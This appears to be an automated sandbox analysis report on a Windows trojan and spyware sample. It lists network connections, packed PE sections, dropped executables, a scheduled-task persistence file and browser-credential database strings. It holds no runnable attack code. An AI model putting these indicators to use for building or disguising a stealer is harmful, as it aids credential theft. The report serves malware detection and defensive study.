Source: unknown	HTTPS traffic detected: 20.231.128.66:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.83:443 -> 192.168.2.6:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.32:443 -> 192.168.2.6:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49980 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name:
Source: JKKKJJJKJK.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.17.dr	Static PE information: section name:
Source: skotes.exe.17.dr	Static PE information: section name: .idata
Source: 439191dd24.exe.23.dr	Static PE information: section name:
Source: 439191dd24.exe.23.dr	Static PE information: section name: .idata
Source: 439191dd24.exe.23.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9CB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9CB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C96F280

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9635A0	0_2_6C9635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976C80	0_2_6C976C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C34A0	0_2_6C9C34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CC4A0	0_2_6C9CC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D4D0	0_2_6C98D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9764C0	0_2_6C9764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6CF0	0_2_6C9A6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D4E0	0_2_6C96D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5C10	0_2_6C9A5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2C10	0_2_6C9B2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DAC00	0_2_6C9DAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D542B	0_2_6C9D542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D545C	0_2_6C9D545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975440	0_2_6C975440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0DD0	0_2_6C9A0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C85F0	0_2_6C9C85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98ED10	0_2_6C98ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990512	0_2_6C990512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FD00	0_2_6C97FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985E90	0_2_6C985E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CE680	0_2_6C9CE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4EA0	0_2_6C9C4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96BEF0	0_2_6C96BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FEF0	0_2_6C97FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D76E3	0_2_6C9D76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7E10	0_2_6C9A7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5600	0_2_6C9B5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C9E30	0_2_6C9C9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989E50	0_2_6C989E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A3E50	0_2_6C9A3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2E4E	0_2_6C9B2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984640	0_2_6C984640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C670	0_2_6C96C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D6E63	0_2_6C9D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B77A0	0_2_6C9B77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996FF0	0_2_6C996FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96DFE0	0_2_6C96DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7710	0_2_6C9A7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979F00	0_2_6C979F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9960A0	0_2_6C9960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D50C7	0_2_6C9D50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C0E0	0_2_6C98C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A58E0	0_2_6C9A58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977810	0_2_6C977810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB820	0_2_6C9AB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4820	0_2_6C9B4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C988850	0_2_6C988850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D850	0_2_6C98D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AF070	0_2_6C9AF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5190	0_2_6C9A5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2990	0_2_6C9C2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D9B0	0_2_6C99D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C9A0	0_2_6C96C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98A940	0_2_6C98A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB970	0_2_6C9BB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB170	0_2_6C9DB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D960	0_2_6C97D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DBA90	0_2_6C9DBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97CAB0	0_2_6C97CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2AB0	0_2_6C9D2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9622A0	0_2_6C9622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994AA0	0_2_6C994AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A8AC0	0_2_6C9A8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C981AF0	0_2_6C981AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AE2F0	0_2_6C9AE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A9A60	0_2_6C9A9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F380	0_2_6C96F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D53C8	0_2_6C9D53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD320	0_2_6C9AD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965340	0_2_6C965340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C370	0_2_6C97C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0ECC0	0_2_6CA0ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6ECD0	0_2_6CA6ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEAC30	0_2_6CAEAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6C00	0_2_6CAD6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1AC60	0_2_6CA1AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA14DB0	0_2_6CA14DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6D90	0_2_6CAA6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9CDC0	0_2_6CB9CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98D20	0_2_6CB98D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADED70	0_2_6CADED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3AD50	0_2_6CB3AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96E90	0_2_6CA96E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1AEC0	0_2_6CA1AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0EC0	0_2_6CAB0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF0E20	0_2_6CAF0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAEE70	0_2_6CAAEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58FB0	0_2_6CB58FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1EFB0	0_2_6CA1EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA10FE0	0_2_6CA10FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEEFF0	0_2_6CAEEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50F20	0_2_6CB50F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA16F10	0_2_6CA16F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD2F70	0_2_6CAD2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7EF40	0_2_6CA7EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB168E0	0_2_6CB168E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA60820	0_2_6CA60820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A820	0_2_6CA9A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4840	0_2_6CAE4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA09A0	0_2_6CAA09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA9A0	0_2_6CACA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD09B0	0_2_6CAD09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2C9E0	0_2_6CB2C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA449F0	0_2_6CA449F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66900	0_2_6CA66900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48960	0_2_6CA48960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8EA80	0_2_6CA8EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC8A30	0_2_6CAC8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABEA00	0_2_6CABEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8CA70	0_2_6CA8CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0BA0	0_2_6CAB0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16BE0	0_2_6CB16BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3A480	0_2_6CB3A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA564D0	0_2_6CA564D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA4D0	0_2_6CAAA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74420	0_2_6CA74420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A430	0_2_6CA9A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28460	0_2_6CA28460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA045B0	0_2_6CA045B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA5E0	0_2_6CADA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9E5F0	0_2_6CA9E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72560	0_2_6CA72560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0570	0_2_6CAB0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58550	0_2_6CB58550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68540	0_2_6CA68540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14540	0_2_6CB14540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E6E0	0_2_6CA6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE6E0	0_2_6CAAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA346D0	0_2_6CA346D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C650	0_2_6CA6C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3A7D0	0_2_6CA3A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90700	0_2_6CA90700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA200B0	0_2_6CA200B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC0B0	0_2_6CAEC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA08090	0_2_6CA08090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC000	0_2_6CADC000
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005B7049	17_2_005B7049
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005B8860	17_2_005B8860
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005B78BB	17_2_005B78BB
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_00688101	17_2_00688101
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005B31A8	17_2_005B31A8
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_00574B30	17_2_00574B30
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005B2D10	17_2_005B2D10
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_00574DE0	17_2_00574DE0
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005A7F36	17_2_005A7F36
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005B779B	17_2_005B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_009878BB	19_2_009878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00987049	19_2_00987049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00988860	19_2_00988860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_009831A8	19_2_009831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00944B30	19_2_00944B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00944DE0	19_2_00944DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00982D10	19_2_00982D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0098779B	19_2_0098779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00977F36	19_2_00977F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_009878BB	20_2_009878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00987049	20_2_00987049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00988860	20_2_00988860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_009831A8	20_2_009831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00944B30	20_2_00944B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00944DE0	20_2_00944DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00982D10	20_2_00982D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0098779B	20_2_0098779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00977F36	20_2_00977F36

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0095DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009580C0 appears 260 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C99CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB9DAE0 appears 41 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9A94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB909D0 appears 173 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA33620 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA39B10 appears 38 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB9D930 appears 33 times
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: String function: 005880C0 appears 130 times

Source: 439191dd24.exe.23.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2796657687.000000006CBE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.997803603202847
Source: random[1].exe.0.dr	Static PE information: Section: uymjeulq ZLIB complexity 0.9957275862485504
Source: 439191dd24.exe.23.dr	Static PE information: Section: ZLIB complexity 0.997803603202847
Source: 439191dd24.exe.23.dr	Static PE information: Section: uymjeulq ZLIB complexity 0.9957275862485504

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/52@8/8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9C7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\L9QFN10Z.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8116:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2519914309.000000001D859000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2384102450.000000001D865000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr, GHDBKJKJKKJDGDGDGIDG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2795545654.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
